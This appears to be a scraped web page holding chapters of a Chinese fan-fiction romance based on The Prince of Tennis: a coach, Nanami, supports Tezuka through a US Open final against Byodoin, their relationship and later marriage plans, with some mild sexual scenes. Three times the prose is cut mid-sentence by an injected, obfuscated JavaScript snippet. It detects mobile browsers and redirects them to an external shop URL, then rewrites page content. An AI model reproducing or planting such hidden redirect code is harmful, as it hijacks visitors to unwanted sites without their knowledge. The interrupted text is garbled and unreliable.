她该支持哪一边才是正确的? 大脑像是被一股强大的拉锯力量撕扯着,无法做出明确的决定。她仰头望着身前坚定的视线牢牢锁住自己的少年,徒然地张了张嘴,发不出半点声音。 她的挣扎被他一眼看穿。 是他当初的选择,害得她一次又一次因为他而左右为难。他的脑海中,那些他无法忽视无法忘记的画面和声音再度浮现。 【“手冢国光,你会后悔的。” “总有一天,我会让你后悔,后悔没有选择留在日本,后悔没有选择我的指导。” “我会站在顶峰,带着我的人,打败你。”】 【“去赢,别在意对手是谁。我会一直看着你,永远只看着你。”】 【“The runner-up,Kunimitsu Tezuka!” “And the Wimbledon gentlemen’s singles champion for 2010——Keigo Atobe!”】 “教练,我有事想和您还有西格蒙德先生商议。”手冢国光平静道。 七海的纷乱思绪霎时间尽数收拢,她知道他要谈那件事了。 雷特鲁诧异地瞥了手冢一眼,“国光,有什么重要的事吗?西格蒙德先生今天不在,不如我们先聊一聊。”他指了指隔壁的会议室。 “嗯,好。” 三人一同步入会议室。 ...... 窗外飞速掠过一幕幕的陌生景致,车窗上映出她的身影,七海的双眼望向窗外德国的街景,心思却完全被方才发生的事情所占据。 三年,全满贯。 五个字反复在她的脑海叫嚣。这是德国职网协会提出的要求,在合约到期前取得全满贯,也就是四大满贯赛事必须都至少拿到一次冠军,他们才肯放人。 他却毫不犹豫地应下了。 容易吗?难如登天。 倘若他真的能在20岁之前做到,那么最年轻全满贯选手记录也将被他打破。 四大满贯赛事,每场正赛一共七轮,意味着每拿一次大满贯,他就要击败七位对手。而他要对上的选手里,实力强劲能够成为他的威胁的人有哪些,她再清楚不过。 瑞士队的阿玛迪斯,兰比尔;西班牙队的梅达诺雷,不二周助;法国队的加缪,幸村精市;美国队的莱因哈特;还有被博格打败的前世界第一诺瓦克·布林纳,听说他最近在西班牙准备参加马德里的ATP1000大师赛。 甚至还有他自己的队友,博格和俾斯麦;日本职网协会还有德川和也和平等院凤凰以及其他几位成熟的职业选手,在英国的那个人,等读完高中大概也要转为职业选手...... 接下来的三年,他会一个个遇上他们。 她该怎么做才能帮到他......七海将头回正,怔怔地望着自己的手心,反复张开又收拢,一个主意缓缓浮上心头。 ----------------------------- 一个月后。 “国光,七海还没告诉你什么时候回德国吗?”塞弗里德一上到协会五楼便开始叫嚷。 “啊,还没有。”手冢国光眉头紧锁,掏出手机打开短讯界面,这些天来他发过去的短讯,她一条也没回,打过去的电话,一个也不接。 “七海,她到底想干什么啊,也太疯狂了吧?”塞弗里德嘴巴张得大到能直接吞下一颗鸡蛋。 施耐德和贝尔蒂刚结束和博格QP组合的双打对练,出了电梯门口,同样将视线齐刷刷地移向手冢国光。 “国光,七海还没告诉你什么时候回德国吗?”贝尔蒂问了一模一样的问题,而本应回答询问的人此刻正非常难得的盯着手机屏幕发怔。 【16:25 from七海:国光,我现在回协会大楼的路上了,大概十分钟后到。】 这一个月以来,国际网坛发生了一件极为动荡骇然的事件。 几大网球强国的十数位实力强劲的职业选手,居然全部被同一个人给击败了。 而更加颠覆世人想象的是,实现这件事情的居然是一个年轻女性,她甚至还不是女性职业选手,而是一个年纪尚小的网球教练。 在披露出来的几场比赛录像中,无论对手使用什么样的网球技法,她的网球招式都保持朴素凌厉的球风,没有夸张的特效但观赏性依旧很强,美感十足。 她便是凭借着这样的网球,打败了一个又一个强者。 有好事者提起一年半前的墨尔本U17世界杯,看客这才回忆起了那个曾经使网球界议论纷纷的,被第一梯队争抢着要的人——二阶堂教练。 七海从计程车上下来,刷卡,上电梯,电梯门一开,眼前围了一堆人。 “大家,我回来了。”她浅笑着。 “七海,你现在震撼全世界了你知道吗!!”塞弗里德激动地吱哇乱叫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581726|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雷特鲁已经因为手冢国光提出不再续约的事而暗自烦恼了很久,此刻却展露出一个狡猾的笑容。 “七海,一码归一码,国光我可以放他回去,我们聘请你当教练怎么样?偶尔来指导陪练一下就可以了。” 要一个职业选手,还是要一个能培养出无数职业选手的教练,这个选择题他还是会做的。 施耐德最近在控制体重,十分馋肉,忙不迭道:“七海,国光告诉我们你今天回来,今晚不如一起去聚餐吧?” “好呀,大家有什么问题,我们吃饭的时候边吃边聊吧。” 饭桌上,七海心情极好,任由这堆人你一言我一语地询问,她耐心地一一作答,直到塞弗里德喝得烂醉如泥,就像一个散场讯号,德国队人马这才三三两两各自离去。 七海和手冢国光一起回到了他的住所,两人洗完澡坐在床上,有些事情便藏不住了。 “......”手冢再说不出一个字,只震骇且心痛地望着眼前的这一幕—— 他面前的人,裸露的手臂和腿上有多处淤青。 七海无奈地笑了笑,“打了这么多场比赛,完全不受伤也不现实。”只有淤青是她精神力无限、技艺高超的结果,看着可怖了些,但过一阵子就会消掉。 这次的踢馆之旅帮她掌握到了这些选手的最新数据,以及他们的弱点,相较之下,这点小伤完全不算什么了。 “七海,为什么突然这么做?”他的声音发沉,旋即,手冢国光想到了一个原因,而她的回答很快证实了他的猜测。 她低着头,手指无意识地在被子上划拉着,语气平静,没有一丝波澜。 “三年全满贯太难了,我现在已经掌握了你在四大满贯可能遇到的所有强敌的数据。国光,接下来两周,我做你的对练,协会的硬地不够,我们去找个有红土和草地的赛场练习,之后我再回日本。” “七海!”少年一声突然的怒喝,七海吓得浑身一抖,抬起头,对上了一双染上愤怒和心痛的瞳孔。 “不要再为了我牺牲了。”手冢闭了闭眼,垂在身侧的手攥紧再松开,反复。 她早就料到了他会这么说,轻笑着挑了挑眉。 “谁说我是不图回报?国光,大满贯的奖金你得分我一半。” 手冢国光怔愣片刻,将身前的少女拢入怀中,无奈道:“七海,以后我打比赛赚到的奖金都是你的。” 四周一片寂静,空气中唯有两人的心跳声和呼吸声交织在一起,在无声中轻轻回响。 “呐,国光。”她坚定的声音在他耳畔响起。 “成为GOAT吧,成为让我引以为傲的选手,请你做网球界久盛不衰的恒星,站在最高峰。” 【“即使是一瞬的放弃也不可以,如果有去全国的梦想的话。” “手冢君。 你, 成为青学网球部的支柱吧。”】 那天,网球部围网外那个夕阳下,大和部长一句成为青学网球部的支柱,让他殚精竭虑了三年。那天,那场比赛最后一声仰头轻叹,让她心痛了多少年。 加入德国队,为了报答博格和雷特鲁的恩情,为了我......你又要付出多少艰辛。打网球已经足够孤独了,自由一点吧,国光。 国光,是时候彻底为了自己的未来而战了。 七海缓缓松开怀抱,昏黄灯光下,她的眼眶止不住地泛红,望着眼前的少年,回想起过去,回想起这些年他所经历的一切,眼眶中的水光孤守一线,最终还是决堤般滚落下来。 手冢国光还没从前面的一番话引发的悸动中抽离,又一次因她的泪陷入无言沉默。 她定定地盯着他,良久,说出了一句话—— “手塚国光,世界一のプロテニス選手になってください。” 手冢国光,成为世界第一的职业网球选手吧。 回过神来,拭去她脸颊上的泪,手冢国光的语气坚定:“七海,我会做到。” 他俯下身,轻吻过她身上的一处处淤青,激起她一阵阵轻颤和低吟。 “七海、愛してる。” 160.第 160 章 五个月后。 美国,纽约,USTA国家网球中心。 男单总决赛即将开赛,从空中俯瞰而下,美网的中央赛场仿佛一颗阿斯切割的蓝宝石,蓝色的观众席位上人来人往,点缀于其中,热闹非凡。 七海并两位男单总决赛参赛选手正坐在场边接受赛前采访。 “二阶堂教练,您认为这场总决赛冠军会花落谁家呢?” “一上来就要问这样的问题吗?”她无语。 “相信全世界都很好奇您的答案吧。”主持人笑意不改。 “我希望两位选手都在保证职业生涯的前提下为大家展现一场精彩的比赛,至于胜者是谁,我想无论胜利属于谁,我都与有荣焉,所以反而不重要了。” 七海边客气地回应心中暗自吐槽着——开玩笑,场面话谁还不会说,别妄想从本小姐这里获得任何指向性答案,无论她说哪边会赢哪边恐怕都会被网民骂。 “国光,这次是你第一次参加大满贯赛事,没想到就进入了男单总决赛啊,真是了不起,如果今天能够夺得冠军,就能打破最年轻大满贯选手的记录了。对此,你有信心吗?”见七海油盐不进,主持人将采访目标移向手冢国光。 坐在七海身边椅子上的手冢国光身着德国队的黑红色制服,举起话筒平静回道:“我会取得冠军,不辜负我的教练、团队和粉丝的期待。” “国光,还有一个大家都很好奇的问题,请问你和二阶堂教练正在交往吗?” 之前并没有披露过相关的消息,只是,自从美网开赛以来,这两个人毫不避嫌地一同在下榻酒店进进出出,牵着手的照片早就被路人拍到,网上铺天盖地都是。 手冢国光的男女粉丝哀嚎一片,有的疯狂辱骂女方,有的反而嗑起了这两人的CP,甚至请愿让他们一起去打男女混双的tag还上了推特热搜。现在他这么问,不过是想听正主的一句肯定罢了。 “啊。七海是我的女朋友。” “这可真是意外的惊喜了,请问你们有什么关于这场比赛的约定吗?比如,国光如果你赢了比赛,会有什么奖励吗?”主持人的笑容带上了几分暧昧。 “这个问题涉及到隐私,抱歉,我无法回答。” “看来是你和二阶堂教练之间的秘密啊。”他笑容快要挂不住了,果然,国光和传闻中一样每次采访的回答都一板一眼毫无趣味。 “那么凤凰,请问你对于取胜有信心吗?” 平等院凤凰今天同样穿了一身黑,接过话筒便发出一声不屑的嗤笑:“老子会赢得这场比赛,让这个臭小子知道世界的真正可怕之处。” “如果赢了比赛,你有什么计划或者打算吗?” “老子要把旁边这个——”平等院凤凰话说到一半,七海赶忙拍了一下他的胳膊,顺便递过去一个“平等院,你要是敢在这时候乱说话就死定了。”的眼神。 “如果平等院赢了,我们计划一起去吃顿大餐为他庆祝。”七海讪笑着抢答。 同一时刻,观众席的一角—— “老大原本是想说什么呢,真让人好奇呐。Duke,你知道吗?”不二周助笑眯眯地侧头,看向坐在不远处的Duke。 Duke倒是不曾遮掩:“老大打算如果赢了比赛就带走二阶堂教练。” 越前龙马闻言勾起嘴角,臭屁道:“手冢部长不会让平等院那个家伙赢的,还远远不够呢。” “如果老大是这样打算的话,手冢肯定不会输的啦。”大石秀一郎笑道。 大和佑大赞同地点了点头:“有小七海在,手冢君是不会输的。” “未必,平等院的阿赖耶识已经再进一步,一切都还很难说。”by德川和也。 此刻,平等院的高中生伙伴以及青学网球部的少年们,还有加入了NA俱乐部的大和与种岛都聚集于此。 两边各自为营,以Duke种岛大曲为代表的高中生们为平等院凤凰应援,而青学众人自然是为手冢国光应援。 少年们已不再拘泥于自家部长去了德国队这件事。即使不再是青学的部长,他们曾追随的那道坚定的身影所代表的顽强不屈的精神从未熄灭。 赛前采访结束,三人起身,即将各归各位。 “七海。”手冢国光喊住了她。 “怎么了?”七海转过身眨了眨眼。 “我会赢。”他神情一肃。 “好。” “二阶堂,给老子过来,少和敌人眉来眼去。”平等院凤凰黑着脸,一把抓住了七海的胳膊,连拖带拽地往她的坐席边走去。 “平等院,我自己会走,你抓痛我了!”七海抓狂道。后来她才从高中生口中得知平等院凤凰这个家伙的握力极限居然有300KG,简直不是人类能有的力量。 可想而知,他的毁灭球如果真的打到人身上,会造成多大的伤害。 那时了解到这一数据后,七海便紧赶慢赶地抽空回到了德国,就卸力这一技巧拉着手冢国光连续对练了一周才回去。 她终究是偏心了,只是,明知道平等院凤凰的招式有多伤人伤己,她绝对无法坐视不理。 手冢国光VS平等院凤凰,美网男单决赛即将开始。 蓝色硬地上,球网两侧,两道凌厉视线交汇,几乎要碰撞出火星。 “小子,准备迎接地狱的洗礼吧!” “平等院,本気で来い!” 双方回到各自点位,紧绷感在纽约的灿烂阳光下暗潮涌动,大战一触即发! “Kunimitsu!Don’t lose this game in front of your girlfriend!” 不知是哪个好事者在观众席上大喊了一声,掀起一阵哄笑,稍稍打破了方才剑拔弩张的气氛。 只是,一开局,胶着的比分就再将紧张的氛围拉了回来。而后的比赛进程更是令所有人揪紧了心脏。 第一盘盘终比分6-3,手冢国光凭借至高领域和卸力技能化解毁灭球轻松拿下一盘,结束时,两人身上还只是汗液岑岑。 第二盘盘终比分5-7,平等院凤凰使出这一年来领悟出的新世界绝技——德克萨斯龙卷风,顺利拿下一盘。赛场上席卷起的阵阵狂风,迷了所有人的眼,结束时,对场的茶发少年裸露的肌肤上被龙卷风刮出了细细密密的划伤。 第三盘起,两人终于不再藏拙使出浑身解数,手冢国光同时开启了天衣无缝之极限并进化后的三向回旋至高领域,而平等院凤凰也开启了阿赖耶识。 “平等院......”七海没能按耐住内心的焦急,站起身来。“你难道只有这一条路可走吗......” ------------------------ 男单总决赛前日,纽约瑰丽酒店。 “平等院,你非要在决赛的时候用阿赖耶识吗?”七海坐在吧台边,将酒杯中残余的威士忌一饮而尽,侧头望向身旁的人。 “怎么,心疼老子怕我死。”平等院讥讽道,“还是心疼你的男人怕他死。” 七海无语凝噎,半晌才回话。“网球本来就不该是打打杀杀的运动。” “二阶堂,你原来在的那个世界的网球是什么样的?”平等院凤凰似是随口一问。 这个问题瞬间将她拉回极其久远的回忆,七海沉默着侧回头,盯着吧台上的玻璃杯,视线像是要穿透杯中的冰块通往一个极其遥远的地方。 “是充满遗憾和伤痛的,但也很迷人。在这点上,这个世界和那里并无不同。” “职业选手的花期是很宝贵的,没有人会希望看到自己支持的选手因为负伤彻底落幕。” “呐,平等院。”她站起身,视线直直射向他,“明天的决赛,我不会阻止你使用阿赖耶识,但是如果你到达极限,请你申请医疗暂停。” “这是我作为教练的命令。” 不再等他的回复,七海攥紧手转身离去。 她本可以像两年前那样,为他破开一条阿摩罗识的道路保住他的性命,可她一旦这么做,另一个人恐怕必输无疑。 原来拥有转变战局的能力也会带来痛苦和挣扎。她真的未曾做出选择吗,她真的可能做到一碗水端平吗? 当她选择不帮一个人的时候,就等于支持了另一个人。 ----------------------------- 九月的纽约,阳光毫不留情地将他们的背影烘烤得近乎透明,密密麻麻的汗珠顺着额角淌下,砸落在蓝色硬地上溅射成一朵朵水花,而后快速被蒸干。 汗水在他黑红色的衣裤上洇出一片片深色的印迹,她看到汗珠淌过手冢国光身上被龙卷风割出的细密伤口,那应该会带来一阵阵刺痛,他却连眉头都未曾皱一下。 然而,比起手冢国光受到的伤害,己方的选手显然陷入了更加糟糕的境地——平等院的身上,每一个毛孔都在不断渗出血珠,那是阿赖耶识使用即将到达极限的标志。 如果不是穿着黑色的T恤短裤,恐怕平等院凤凰的衣裤此刻已被染上星星点点的血色。 “裁判,申请医疗暂停。” 前两盘2-2平,比赛进行到第五盘决胜盘时,平等院凤凰终于主动申请了医疗暂停。 七海注视着平等院走到坐席边,狠狠舒了口气。平等院这个家伙,还好没有一意孤行,否则,就算违规被唾骂,她也要介入比赛,她不允许他以性命为赌注去打这场比赛。 医疗暂停后,日本职网协会派来的治疗师忙不迭走到赛场边,却直接傻眼—— 坐席上,平等院凤凰弓着背,像刚从桑拿房出来一样浑身散发着滚烫的热气,血水汗水与青筋狰狞地在他的脸上蔓延交错。 “二阶堂教练,这......”他露出为难的神色。 七海早已翻过观众席大步流星地赶了过来。 斜睨了一眼席位上状态极其糟糕的平等院,她发出一声冷笑,随即吩咐道:“帮他把上衣脱了,脸上身上的血擦干净,再用止血杀菌的喷雾处理一下。” “啊,啊,好的好的。” 平等院凤凰只是沉默着自己褪去T恤,露出一身腱子肉十分壮硕的上身,果然已是血迹斑斑,治疗师赶忙打开医疗箱为他处理。 “平等院,你不能再使用阿赖耶识了,这是命令。”走到平等院凤凰面前,七海干脆地下了通牒。 “二阶堂,你就这么怕老子死......”他抬头望着她,唇角勾起一个自得的笑。 “你还很得意?”七海恨得牙痒痒,“这种透支的打法根本不能长久,你要是想今天就退役,你就用吧,一条烂命死了就死了。” 平等院凤凰挑了挑眉,脸上笑意更甚。“心疼老子,嗯?” “平等院凤凰,现在是说这种话的时候吗?”七海一脸难以置信,见他仍是一副爱死不活的样子,怒火止不住地往上窜,“如果你执意要用,我会封死你的阿赖耶识。” 金发少年维持着脸上冷厉的笑容,视线却忽地移向对场的对手,七海顺着他的目光也一同望向对场—— 手冢国光同样趁医疗暂停的时间进行了简单的治疗,他的身边米拉和艾琳都在,她听清了那边正在进行的对话。 “国光哥哥,你没事吧!呜呜,你身上好多伤口......” “那个女人不是你的女朋友吗?为什么要让那个平等院这样伤你!” “依我看,她根本不爱你,爱你的人怎么忍心看你受伤,你看她只顾着照顾自己的选手,都没有看你一眼!” 艾琳的话像机关枪一样突突个没完,瞳孔中的愤然几乎要化为实质,手冢国光的眉头随着她的话越蹙越深,他终于冷声开口: “艾琳,闭嘴。我们之间的事,你没有资格评价。” “国光哥哥,你居然让我闭嘴......我以后再也不理你了!”这句话说得实在太重,少女猛地一跺脚,转身跑离了赛场。 七海望着这一幕,胸口像是被一柄利剑刺穿了,心痛从胸口弥散开来,面色白了又白。 “二阶堂,和老子在一起就没这么多事了。”平等院听罢那边的对话,脸上挂上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589851|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几分不屑。让自己的女人左右为难,手冢国光,这个家伙也配她? 七海终于没忍住吐槽的冲动:“平等院你也闭嘴。” 她用力做了两个深呼吸,勉强平静下心绪,又道:“医疗暂停快结束了,最后一盘,除了阿赖耶识,尽力而为。” “如果我不用会输呢?”平等院凤凰冷不丁开口。 “那就证明你选择的道是无法持久的是歧途,滚回千叶找六角中的老爹继续修炼你的精神力吧。”她回怼得干脆利落。“你也该明白这个道理,拿一次世界第一就废了的人,根本算不上真正的世界第一。” “呵,二阶堂,早晚有一天老子会成为世界第一。” “等你成了世界第一再说。” ...... 医疗暂停结束,决胜盘开始! 赛场上,两人奋力拼杀,力图在场上留下自己的一片疆土。就连最后的体力也在这场殊死较量中一点点消耗殆尽。一个回旋的扣杀,一记刀锋般的反拍,他们倾尽全力捍卫最后的尊严。 1-1。 3-2。 时间一分一秒地流逝,天色也越来越暗。夜幕徐徐降临,亚瑟阿什球场上顶棚升起,灯光打下,将两位选手投射在蓝色硬地上,拉出两道快速移动的影子。 4-2。 5-3。 进入赛点!手冢国光只需再赢一局就将获得胜利! 顶棚上的蓝色电子大屏,分数一次又一次地变化,15-0,15-15...... 40-15 还差最后一球!只差最后一球!打破历史记录,最年轻的男单大满贯选手即将诞生于此刻!! 每个人的呼吸都被紧紧锁住,所有的目光都锁定在场中央的那两个被汗水浸透的身影上。经过长达数个小时血腥和惨烈的拉锯战,胜利就在眼前。 在这揭晓命运的最后时刻,所有的过程都将化为永恒。 而永恒,在赛场上反复上演。 全场鸦雀无声,一切画面动作声音都静止了,直到—— 视线中,手冢国光望着对场击过来的重力一球,截击网前,一个微妙的旋转被附加在小球上,小球弹到对场,在地面一阵盘旋后滚回网前。 那是,那居然是—— 零式削球!! 比赛结束!史上最年轻的男单大满贯选手,手冢国光!!! 短暂的凝滞后,整个球场瞬间爆发出震耳欲聋的欢呼声和掌声,如同惊涛骇浪般汹涌澎湃。 所有的目光都集中在场中央那道身影上,手冢国光,凭17岁的年纪,为国际网坛创造了不可思议的历史!!! 七海呆愣地注视着那道身影大步走回场边与雷特鲁以及德国队的少年们一一拥抱,接着他毫不犹豫地穿越赛场,穿越沸腾的人声,于万众瞩目中向她大步走来。 “七海,我做到了。”手冢国光凝视着身前的少女,目光重逾千斤。 “还有三项,我也会实现。” 他会一次又一次攀上最高峰,达成雷特鲁的要求,回到她身边,让她再也不必承受外人的闲言碎语。 这次,以后,都由他向她走来。 他去改变未来。 七海眼含热泪,“国光,我相信你会做到的。” 两人四目相对着,观众席上突然爆发出一声高呼——“Kunimitsu,kiss her!!” 这道过分嘹亮的声音似乎和赛前那声起哄来自同一个人,手冢国光从不在意观众席上的声音,无论是应援还是倒彩,都无法影响他心境分毫。 不过,这次手冢国光决定听从一次。 他揽住她的腰,毫不犹豫地俯下身吻了下去。 那是一个温柔、缱绻、极尽深情的吻,被赛场上两万多名看客以及屏幕前千万观众一同见证。 --------------------------------------- 美网赛后颁奖。 手冢国光并平等院凤凰站在赛场中心的蔚蓝领奖台上,身后一长排美国旗帜在傍晚的暖风中飘扬。 “凤凰,我知道今天你没有取得胜利,但总体来说我相信今天的比赛已经足够精彩,你并没有输掉比赛,请问你此刻的感受如何?” “呵,输了就是输了,老子还会再来。”平等院凤凰双手抱臂一副懒得多言的表情,主持人差点噎住。 “凤凰,我们相信你终会迎来属于你的胜利,请收下属于你的亚军奖杯。”平等院凤凰面无表情地接过属于他的亚军银盘。 主持人脸上的笑容大了几分,看向平等院凤凰身侧的少年,“好了,现在是时候听一听冠军的声音了。” “国光,你今天成功打破了最年轻男单大满贯选手的记录,这对你来说意味着什么?” “这只是第一步。”手冢国光冷静回道,眼底溢出一丝温和,“感谢我的团队教练,各位粉丝。感谢我的女朋友,七海,没有她一直以来全力支持着我的职业道路,就不会有今天。我会继续前行,不负大家的期待。” “祝贺你!好了,接下来真正有趣的事来了,国光,请收下这张来自摩根大通的300W美元支票,请问收到这笔钱你有什么打算?” 主持人将支票转交给手冢国光,少年一脸平静地接过,随即干脆地回答了提问。 “谢谢,我会将它交给我的女朋友。” 【越前龙马:“诶——怎么感觉手冢部长被二阶堂学姐吃得死死的。” 大石秀一郎:“越前= =” 越前龙马撇嘴:“大石前辈,你难道没有同感吗。”】 “Oh, how sweet!国光,请接过属于你的冠军奖杯,向前一步。” “2005年美国网球公开赛男子单打冠军得主,Kunimitsu Tezuka!!” 伫立在美网的蓝色浪潮中,手冢国光接过属于他的银色大满贯奖杯,高举于过头顶。 全世界的目光汇聚于此,这一刻,他是奇迹,是世界的中心。 161.第 161 章 赛事彻底结束,平等院凤凰被理疗师带去瑰丽酒店附近的NYU朗格尼医院进行深入的治疗检查,七海听到这个医院的名字却愣住了。 “七海,怎么了。” “这家医院是......” 她的话停在半路上欲言又止,手冢国光很快反应过来,是他,是他与她之间的回忆,与他无关。 回到酒店房间时已是深夜,两人坐在床边,七海检查起手冢身上的伤口。 “还好都是皮外伤,只是看着还是太可怕了......”少女轻抚过手臂上一道道伤口,不忍道。 手冢国光却扶了扶眼镜,提起了另一件事,“七海,等我取得全满贯,我们就结婚,可以吗。” “诶?这么突然?”之前不是还说要等她愿意的时候吗?七海抬头眨巴了两下眼睛。 手冢半晌无言,再次开口时语气越发坚定:“七海,我想你尽快成为我的妻子。” 七海头脑风暴了半天,想出来一个有些让她不太确定的可能。“国光,你......吃醋了?”他急了? 手冢国光僵硬了一秒,眼看着面前的少女笑容逐渐诡异,他再次不自然地扶了扶眼镜,“嗯。” “嘿嘿,国光,我还以为你从来不会产生吃醋这种情绪呢。”七海笑得越发不怀好意。 “但是,你不要指望我结婚以后做家庭主妇或者马上生小孩哦,那样的话我就会和你离婚。” 手冢国光眼底闪过一丝无奈:“七海,你只需要去做自己想做的事。” 少女托腮沉吟了两秒,“好吧,嗯......要不要跟你结婚嘛......看你服侍本小姐服侍得怎么样好了嘿嘿。” 她很快为自己这句随口脱出的话付出了代价。 她像是海中的一块浮木,无助地想要攀住什么却一次又一次被冲击而来的浪潮掀翻,被裹挟着时而高高飘起,时而狠狠沉入,意识已被全然击溃,无处可逃。 “七海,做我的妻子。”他喘息着,执着地提出请求。 -------------------------- 三年后。 澳网男单决赛前夜。 冢海两人在澳网比赛场地墨尔本公园附近的海滩散步。 月光洒在漆黑的海面上,将细碎的波澜镀上一层耀眼的银色,如万千碎钻在海面上闪烁跳跃。浪花有规律地拍打着岸边,发出阵阵沙沙声。 七海自顾自地脱下鞋,赤脚踩在细腻的沙滩上,海浪时不时拍打着脚趾,湿凉的水珠溅上小腿,她不禁缩了缩脚,又继续踩踏着水花,脸上带着笑意。 手冢国光默默地凝望着不远处独自玩水玩得不亦乐乎的少女,回想起了四年前的那个月夜,她就这样猝不及防地消失在他面前,心于此刻倏地收紧了。 “七海。”他忽地出声。 七海转过头眨了眨眼,“国光,怎么了?” “和我结婚。” 七海哭笑不得,“嗨嗨,我不是已经答应你了嘛。” 三年前在瑰丽酒店的那一夜,她多次几近失魂,最后于意识迷离呻吟不断间艰难吐出一个“好”字后,他才结束对她的掠夺。 回忆起那一夜,七海又有些愤愤不平。 可恶,难道这就是五项全能的学生会长吗,学什么都那么快......最可怕的是即使她已经成了那样,他除了喘息变得急促,从面部表情看却永远是那副冷静自持的模样。 外表的禁欲是他的谎言,这个人在床上也固执得过分...... 海滩边,手冢国光抿着唇,将踩在沙子上突然红脸的少女拢入怀中,紧紧抱住。七海贴着他的胸膛有些发愣,他又怎么了? “七海,不要离开我。”他的声音中带上了,一丝后怕。 她这才反应过来,这片海滩让他回想起了什么。 “我不会再走了,你放心吧。”她轻拍了两下他的背。 “明天我会取得澳网冠军,后天回日本的机票我已经买好了,七海,我们回日本登记结婚。”手冢国光轻抚着她脑后的发丝,平静道。 “国光,你好急哦。”怀中的人无奈地轻笑了一声。“不过,不要给自己太大压力,拿不到也没事,我不介意你留在德国队。” 手冢国光只重复了一遍之前说的话:“我会取得胜利。” “知道了,那既然要结婚,”七海仰起头,故作不满地提醒道:“你得准备好求婚。” “好。”他早已准备好。 ---------------------------- 澳网决赛赛前闻发布会。 手冢国光一个人坐在长桌前,台下是黑压压一片记者。 收到新闻发布会正式开始的提示,记者们一个个纷纷举手示意,手冢的经纪人渡边美加站在一边,用手势点取记者提问。 “国光,如果今天你能取得了澳网大满贯,就能以年仅20岁的年纪再次打破最年轻全满贯选手的记录。请问今天和自己的队友博格的决赛你对自己有信心吗?” “我会努力取得比赛胜利,不辜负大家的期待。” “国光,听说今天你有一件非常重要的事要宣布?”听说了这个消息,今天的新闻发布会连记者席都座无虚席,后场全是长枪大炮的摄像机。 手冢国光点点头:“啊,这件事我想与我的教练还有主管一同向大家宣布。” 语毕,早已候在场边的雷特鲁和西格蒙德走到了长桌前,一左一右地在手冢国光身边坐下,所有记者全部抬起头,将目光聚焦于这三人。 雷特鲁将麦克风往自己的方向挪了挪,笑着开口:“各位记者朋友,以及各位关心国光的粉丝们,大家下午好。” “今天这场新闻发布会,我们想向大家宣布一件事——” “国光,他将于半年后结束与德国职业网球协会的合约,正式开启属于他个人的职业网球之路。” 一片寂静后,全场哗然。与此同时,这场正在直播的新闻发布会也在互联网上引发轩然大波,#手冢国光单飞#的话题迅速登上各国社媒头条。 “单飞?” “我还以为国光要入德国籍呢!” “我的天哪,怎么这么突然?!” 渡边美加:“各位记者朋友,请大家静一静,有问题可以提问。” 马上有记者忙不迭发问:“国光,为什么突然决定要单飞?” 雷特鲁主动回答了这个问题:“这并不是国光突然的决定,事实上,三年前我们就做出了决定,我们也祝福国光作为个人选手继续在网坛大放异彩。至于原因,让国光自己来回答好了。” 说完最后一句话,雷特鲁脸上的笑容暧昧了几分,虽然国光不再续约,但他们多了个世界第一的教练。 国光早就于去年在德国购置了一套别墅,以后来欧洲打比赛,这两个人不还是以德国为据点,到时候陪七海来协会不过是顺势而为,不亏不亏。 “谢谢教练的解答。”手冢国光目光直视前方,缓缓开口:“这些年来,加入德国队给我的女朋友,七海带来了许多困扰,让她遭受了许多本不该由她承受的非议,对此我一直感到十分抱歉。” “所以三年前我就已与协会商议,决定合约到期不再续约,和西格蒙德制药的赞助合约会续签。” 他的面色又严肃了几分:“七海,她并未要求我离开德国队,相反,她认为德国队对我有知遇之恩,不赞同我在这时做出单飞的决定。今天这场新闻发布会结束后,我不想看到网上有人因此责备她,这是我个人的决定,与她无关。” 台下有记者憋不住了,忙不迭插嘴问道:“国光,所以你不还是为了她选择不续约吗?这样的决定是否太莽撞了?” 雷特鲁默默记下了那位发问记者胸前的名牌,“这位记者你好,国光虽然不再续约也依然是德国队的伙伴,我相信这对我们之间的关系并无影响。此外,还有一件事要告知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598754|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家——” “二阶堂教练本就是德国队的顾问,在和国光的合约结束之后,她会继续担任德国队的场外指导。” “国光和七海都是德国队这五年来的同伴,以后也会是,呵呵,只不过以后在戴维斯杯比赛就成了对手了。”雷特鲁笑得爽朗。 “国光,你和二阶堂教练谈了这么久恋爱,请问你们有结婚的打算吗?”一位黑人记者发话,他还是对情感八卦比较感兴趣。 “嗯,等我取得全满贯后。” “哇,那今天这场比赛意义非凡啊!” 台下几个记者交头接耳着,这三年来,手冢国光已经取得了两次美网冠军并一次法网一次温网冠军,只差一个澳网冠军便可实现全满贯,现在又加上了这个赌注,要是手冢国光输了可不好看了。 